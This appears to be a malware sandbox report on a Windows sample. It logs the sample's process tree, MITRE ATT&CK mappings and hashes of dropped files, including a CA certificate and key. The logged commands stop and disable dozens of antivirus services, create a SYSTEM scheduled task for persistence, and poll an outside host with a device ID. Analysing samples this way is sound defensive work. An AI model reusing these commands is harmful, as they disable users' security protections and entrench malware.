  "C:\Windows\system32\sc.exe" stop 360bpesvc
  2⤵
  - Launches sc.exe
  PID:1364
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360bpesvc start= disabled
  2⤵
  PID:2268
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Delete /TN YngDriverBootHeal /F
  2⤵
  PID:2096
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /TN YngDriverBootHeal /TR "C:\ProgramData\YngRuntime\boot-heal.cmd" /SC ONSTART /RU SYSTEM /RL HIGHEST /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:456
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 35 --connect-timeout 10 "https://www.56789tl.com/api/policy/wait?device_id=a936a51ae318517e99efbf6ed18df3de&version=78&timeout=20"
  2⤵
  PID:2700
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 35 --connect-timeout 10 "https://www.56789tl.com/api/policy/wait?device_id=a936a51ae318517e99efbf6ed18df3de&version=78&timeout=20"
  2⤵
  PID:1036
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop ZhuDongFangYu
  2⤵
  - Launches sc.exe
  PID:3020
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config ZhuDongFangYu start= disabled
  2⤵
  - Launches sc.exe
  PID:1920
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Zhudongfangyu
  2⤵
  PID:4608
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Zhudongfangyu start= disabled
  2⤵
  PID:4364
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop DsArk
  2⤵
  - Launches sc.exe
  PID:1996
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config DsArk start= disabled
  2⤵
  PID:3820
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360FsFlt
  2⤵
  PID:1532
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360FsFlt start= disabled
  2⤵
  - Launches sc.exe
  PID:744
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AvFlt
  2⤵
  - Launches sc.exe
  PID:4068
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AvFlt start= disabled
  2⤵
  PID:4888
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Box64
  2⤵
  PID:2292
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Box64 start= disabled
  2⤵
  - Launches sc.exe
  PID:4820
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiSteal
  2⤵
  PID:1600
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiSteal start= disabled
  2⤵
  - Launches sc.exe
  PID:3292
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360qpesv
  2⤵
  - Launches sc.exe
  PID:536
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360qpesv start= disabled
  2⤵
  PID:4332
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor
  2⤵
  PID:1392
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor start= disabled
  2⤵
  - Launches sc.exe
  PID:1604
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor64
  2⤵
  PID:4076
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor64 start= disabled
  2⤵
  PID:3452
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiAttack
  2⤵
  - Launches sc.exe
  PID:2316
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiAttack start= disabled
  2⤵
  PID:2096
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHacker
  2⤵
  PID:4212
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHacker start= disabled
  2⤵
  - Launches sc.exe
  PID:3668
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SelfProtection
  2⤵
  PID:3728
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SelfProtection start= disabled
  2⤵
  PID:4412
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rp
  2⤵
  PID:2988
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rp start= disabled
  2⤵
  PID:2584
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHijack
  2⤵
  - Launches sc.exe
  PID:3952
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHijack start= disabled
  2⤵
  PID:1652
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiExploit
  2⤵
  PID:4336
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiExploit start= disabled
  2⤵
  PID:1032
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360netmon
  2⤵
  - Launches sc.exe
  PID:4896
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360netmon start= disabled
  2⤵
  - Launches sc.exe
  PID:3408
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Hvm
  2⤵
  - Launches sc.exe
  PID:3912
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Hvm start= disabled
  2⤵
  PID:3028
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Q360AMPPL
  2⤵
  - Launches sc.exe
  PID:3416
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Q360AMPPL start= disabled
  2⤵
  PID:2608
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop dsmainsrv
  2⤵
  - Launches sc.exe
  PID:4964
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config dsmainsrv start= disabled
  2⤵
  PID:2852
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360elam64
  2⤵
  - Launches sc.exe
  PID:3864
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360elam64 start= disabled
  2⤵
  PID:988
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360CactusNet
  2⤵
  - Launches sc.exe
  PID:2832
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360CactusNet start= disabled
  2⤵
  - Launches sc.exe
  PID:1128
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Camera
  2⤵
  PID:872
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Camera start= disabled
  2⤵
  PID:4768
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4820
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360sd
  2⤵
  - Launches sc.exe
  PID:2128
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1600
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360sd start= disabled
  2⤵
  - Launches sc.exe
  PID:552
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QHActiveDefense
  2⤵
  PID:536
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QHActiveDefense start= disabled
  2⤵
  - Launches sc.exe
  PID:4860
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rps
  2⤵
  - Launches sc.exe
  PID:4228
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rps start= disabled
  2⤵
  PID:1604
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QQProtect
  2⤵
  PID:4076
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QQProtect start= disabled
  2⤵
  - Launches sc.exe
  PID:3260
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QHSafeMain
  2⤵
  - Launches sc.exe
  PID:2316
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QHSafeMain start= disabled
  2⤵
  PID:1968
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2096
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360TotalSecurity
  2⤵
  - Launches sc.exe
  PID:412
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360TotalSecurity start= disabled
  2⤵
  PID:2220
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SafeMain
  2⤵
  PID:4880
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SafeMain start= disabled
  2⤵
  - Launches sc.exe
  PID:3396
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop BrowserProtect
  2⤵
  - Launches sc.exe
  PID:560
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config BrowserProtect start= disabled
  2⤵
  - Launches sc.exe
  PID:3968
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360bpesvc
  2⤵
  - Launches sc.exe
  PID:5020
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360bpesvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2276
- C:\Windows\system32\curl.exe
  "C:\Windows\system32\curl.exe" --silent --show-error --noproxy "*" --ssl-no-revoke --max-time 35 --connect-timeout 10 "https://www.56789tl.com/api/policy/wait?device_id=a936a51ae318517e99efbf6ed18df3de&version=78&timeout=20"
  2⤵
  PID:1032

C:\Users\Admin\AppData\Local\Temp\7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe
"C:\Users\Admin\AppData\Local\Temp\7337a2c6b8662368731ca75eb4201152af3eb10ab790287f3807d6b516b33671.exe" --rival-boot-heal
1⤵
PID:3448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

Software Discovery

T1518

Security Software Discovery

T1518.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

ca.crt.pem.tmp

Path C:\ProgramData\YngRuntime\backup\ca.crt.pem.tmp
Size 1KB
SHA256 c0f21d6d5fd9786d764332ad3cba17e475973ff010caf5116ea43495fc3bd9ec
MD5 1e7be881af4154118294a568cfd920e2
SHA1 d25b2f8f79879810c838f5da02b3a73f000e962f
SHA512 89431f9a0e1211e277162550b269a470489b9d340557b11c3b24d29bcabfddca08b39391df0196902e4af30abce4f69bbd6f3915c97fb7c4b79d149b215503e7
TLSH
T13421CAC595203C2C0EFDD39AB495D35E52F3D1A40FCA60A94B9A1454D72405D02AC904
MD5 SHA1 SHA512 TLSH

Submit Download

ca.key.pem.tmp

Path C:\ProgramData\YngRuntime\backup\ca.key.pem.tmp
Size 1KB
SHA256 3c49a662505321bf0e0445c3efa61da2cd173fcc8f5c260324183c3626b22303
MD5 295dd0cf71637a14cb78ddfa416a437c
SHA1 590d1bcf83303896f59a03d3a00a2e205d9aaead
SHA512 54c44452f5149f9a134e5705a89ce1990de34240fa066b1dd5399ebba88287202a5b425919bf8846609161fb1ca0acd3d0f24a5c3325e509ef661c0e5f46162e
TLSH
T1A231D8501568FA364A0BC4D9EA4B27AEC4E0EF9BAFD428A98B0F21722120095057E25A
MD5 SHA1 SHA512 TLSH

Submit Download

device_id.txt

Path C:\ProgramData\YngRuntime\device_id.txt
Size 33B
SHA256 1ed6e2d5d3a3a3185c4ccda3c4ae846ac2e325ceea02127bf0a0fe54b0e7d72d
MD5 369975b0c3a834b28e7eab564efd57ce
SHA1 fbabe4b997bbdc73d02c31945178c9a6bdbcd065
SHA512 b4e2ca2162507f1a8e37d297f4580fb132ef9346a2debd7f2a03900dfb92df3496b13b6be03dd182c84d24d1e91ce0d2f048f8f48ac234b045d214bf3868f20c
MD5 SHA1 SHA512

Submit Download

parent_unlock.sha256

Path C:\ProgramData\YngRuntime\parent_unlock.sha256
Size 65B
SHA256 aab795a8c8cf23b82a97d87fd4e145a35c37d734802e5bf0d98fd3ad8893c010
MD5 d2293d580969d3feb6bd82fc44c0deae
SHA1 c389a400c76553118bc0c9b77ab659d0a9fb39e8
SHA512 45fb51c111e3f8bccb7f646928bc1e40f6608d2129dff6acbf05e8db05bce16fb861ad05dfd1ff94d203b7a08515922b4b3f9323ab8f48f06d8fe2172c678ffe
TLSH
T1CFA002E846D68435E8668316C0A0646BB25687B566A660E5257168178270596CC1D434
MD5 SHA1 SHA512 TLSH

Submit Download

redirect.txt.tmp

Path C:\ProgramData\YngRuntime\redirect.txt.tmp
Size 30B
SHA256 55506d60b0d6838823f2f556dad20f4da4c791af79df26f07d572c1a14745d8b
MD5 a2a37293f8268e9cbc3c2eafae92fa5a
SHA1 c5cd9975ce828aef96f3ee921b6388c10061ab2d
SHA512 2e1ac1ed358dcd07301ae501de0d126dd1d6b4b3bd4dd19ebbf414026441863efab2f06a4cf089735c0824f667cfa81b7afcb38e7c6699e8dff6df7e3bea4c23
MD5 SHA1 SHA512

Submit Download

yng-admin-2920-240665062.json

Path C:\Users\Admin\AppData\Local\Temp\yng-admin-2920-240665062.json
Size 128B
SHA256 4e35ec67e4b127b927fe84e24029aa41dcdcf942af19b5fc00237089521b965c
MD5 14976ec7fe9550b32ceff100d73ec53c
SHA1 37f93a17c5dc2d284f3dc38634837f63653ce3de
SHA512 145961f223908eb5bd2fd39d27d3e63340669509d617939c1b1f8cefb918635eb57b73822d329946a0aefe1bcb5cdf0e5d094e0e44657c4e8989df6e76c5a144
TLSH
T115B09B7C7555DD6956EDE65D14C0405B170606434453545EAD5599040C3F4781514065
MD5 SHA1 SHA512 TLSH

Submit Download